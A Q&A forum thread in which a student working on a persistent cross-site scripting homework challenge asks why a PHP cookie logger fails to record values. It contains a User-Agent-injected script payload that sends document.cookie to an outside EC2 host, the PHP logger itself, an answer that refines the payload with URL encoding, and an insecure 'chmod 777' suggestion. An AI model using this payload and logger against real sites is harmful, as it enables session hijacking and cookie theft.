Variable won't be passed to PHP through URL - php

Question

I am doing this persistent cross site scripting challenge homework, we are supposed to steal cookie by useragent injection. More details of this challenge can be found on this page (basic 41):
Background:
since this challenge is on a toy website, the website simulate the victim viewing the page for us. What we need to do is to inject the code to the challenge page server and steal victim's cookie by that code and send those cookies to a web server we set up ourselves. Once we successfully collected victims' cookies, we can set our own cookie to those values to pass the challenge.
What I did so far:
Set up the web server on aws ec2.
I believe it's centos, but can't find more release information since getting trouble installing centos-release package or things like that. All I can find is only: Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2. Inbound rules are set to be port 22 for ssh and port 80 for http. httpd, mysql, php are installed and tested working. File index.html under /var/www/http display normally in browser.
Put cookie_stealer.php under /var/www/http
My code of cookie_stealer.php:
<?php
$cookie = isset($_GET['c']) ? $_GET['c'] : 'There is no variable c';
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
Inject code to user agent of Chrome:
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+document.cookie</script>
So far, I successfully injected the code, but the value of document.cookie won't be passed to my php file. So I am currently focusing on this issue.
extra information
I am testing how to pass variable to php by testing through url:
http://ec2-52-91-99-56.compute-1.amazonaws.com/cookie.php?c=ahhh
an interesting(WEIRD!!) thing is, after I added the folloing line to my php file after the $_GET['c'] line:
echo 'Cookie: ' . $cookie . "\r\n";
the value of c can be printed on the web page as ahhh, but isn't written into the log.txt. The log.txt only records this:
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
Cookie:There is no variable c
My question is, if the variable c is passed to $cookie on server, why that ternary operator always return 'There is no variable c' while the web page displaying ahhh. Can anyone tell me why this is happening or where else I can look at? Any hint would be appreciated!

Answer 1

You may need to change the file permission to write into that log file. Try:
chmod -R 777 log.txt

Answer 2

My first thought is:
You may need to URLEnclode the cookie text. It's possible that it has some stuff in it that breaks your URL request.
<script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
Then in PHP you may or may not have to decode it, if you do you can do this:
$cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';
For example your instructor my have slipped a # sign or something in there. I can't say for sure as I have never sent a cookie through a query argument, but I don't think they are meant to be sent that way.
In any case this was too much for a comment, hope it helps!